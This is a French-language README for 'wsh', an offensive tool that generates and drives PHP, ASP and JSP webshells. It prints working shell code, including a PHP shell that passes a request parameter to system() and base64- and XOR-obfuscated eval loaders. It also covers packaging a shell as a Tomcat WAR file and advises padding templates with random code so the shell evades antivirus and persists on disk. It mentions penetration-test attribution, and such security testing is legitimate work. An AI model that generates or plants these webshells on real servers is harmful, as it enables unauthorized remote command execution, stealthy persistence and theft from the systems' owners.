
Générateur de web shell et interface en ligne de commande.
wsh (prononcé woosh) est un générateur de webshell et une interface en ligne de commande. Au départ, ce n'était qu'un client HTTP car interagir avec des webshells est pénible. Il y a un formulaire : pour envoyer une commande, vous devez taper dans une zone de saisie et appuyer sur un bouton. Je voulais quelque chose qui s'intègre mieux à mon flux de travail et qui s'exécute dans le terminal. Ainsi est né wsh.
Le client dispose d'un historique des commandes, de la journalisation, et peut être configuré pour interagir avec un webshell standard préalablement déployé avec un formulaire/bouton. Le générateur crée des webshells en php, asp et jsp. Ils sont générés avec des variables aléatoires, donc chacun aura un hachage unique. Ils peuvent être configurés avec une liste blanche, des mots de passe, et permettent d'envoyer des commandes via des en-têtes et paramètres personnalisés. Le générateur et le client peuvent être configurés via des options en ligne de commande ou des fichiers de configuration, afin de pouvoir enregistrer une configuration qui vous convient sans avoir à faire ce que j'appelle la 'danse du --help'. Une fois configurés, le client et le générateur utilisent le même fichier de configuration.
wsh <URL> [flags]
-X, --method string HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
--param string Parameter for sending command
--header string Header for sending command
-P, --params strings HTTP request parameters
-H, --headers strings HTTP request headers
-c, --config string Config file
-k, --ignore-ssl Ignore invalid certs
--log string Log file
--prefix string Prepend command: 'cmd /c', 'powershell.exe', 'bash'
--timeout int Request timeout in seconds (default 10)
--trim-prefix string Trim output prefix
--trim-suffix string Trim output suffix
-h, --help help for wsh
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string Parameter for sending command
--header string Header for sending command
-w, --whitelist strings IP addresses to whitelist
-o, --outfile string Output file
--no-file Disable file upload/download capabilities
--pass string Password protect shell
--pass-header string Header for sending password
--pass-param string Parameter for sending password
--xor-header string Header for sending xor key
--xor-key string Key for xor encryption
--xor-param string Parameter for sending xor key
--base64 Base64 encode shell
--minify Minify webshell code
-t, --template string Webshell template file
-h, --help help for generate
Je voulais que le client soit indépendant du langage, donc tous les webshells devaient implémenter la même logique de téléversement/téléchargement. Malheureusement, il est pénible de faire des téléversements multipart de manière native en jsp et asp classique, donc les fichiers sont téléversés en base64 dans un paramètre. Ce n'est pas idéal car la taille maximale de téléversement est limitée à la taille maximale d'un paramètre. À l'avenir, je pourrais essayer d'implémenter des téléversements multipart, ou effectuer plusieurs requêtes pour transférer des fichiers plus volumineux.
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] Download file
put <local filepath> [remote filepath] Upload file
clear Clear screen
exit Exits shell
Les commandes suivantes génèrent et interagissent avec un simple webshell php.
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
Les commandes peuvent également être envoyées via des en-têtes HTTP
$ wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
Les mots de passe peuvent être envoyés via des paramètres ou des en-têtes.
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
Cette fonctionnalité est intéressante, mais peut nécessiter une modification des modèles pour être utile. Dans le cas de asp et jsp, les bibliothèques qui facilitent le décodage base64 sont des IOC connus et seront signalées. Si vous êtes intéressé par l'utilisation de ces fonctionnalités, je recommande de modifier le modèle et d'obfusquer.
Comme pour la protection par mot de passe, la clé XOR peut être envoyée via un paramètre ou un en-tête.
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
Pour générer un webshell pouvant être déployé sur Tomcat, créez un shell jsp nommé index.jsp et exécutez la commande ci-dessous pour le zipper en fichier war.
Parfois, l'environnement Tomcat ne dispose pas des bibliothèques nécessaires pour le téléversement/téléchargement de fichiers et le shell générera une erreur lors d'une requête. Pour y remédier, utilisez l'option --no-file.
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
L'utilisation de la bibliothèque de modèles Go ajoute beaucoup de flexibilité au générateur. Parfois, un webshell sera détecté par un antivirus, mais j'ai constaté que l'ajout d'un tas de code aléatoire dans le fichier modèle rend souvent le shell suffisamment bénin pour lui permettre de persister sur le disque. J'ai inclus un exemple dans le fichier templates/covert-php.tml.
De plus, vous pouvez modifier ces modèles pour inclure votre nom/informations de contact pour l'attribution dans le cadre d'un test d'intrusion.
Un préfixe peut être spécifié pour ajouter une chaîne au début de chaque commande envoyée au shell. Cela peut être utilisé pour transformer un shell cmd normal en shell PowerShell.
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv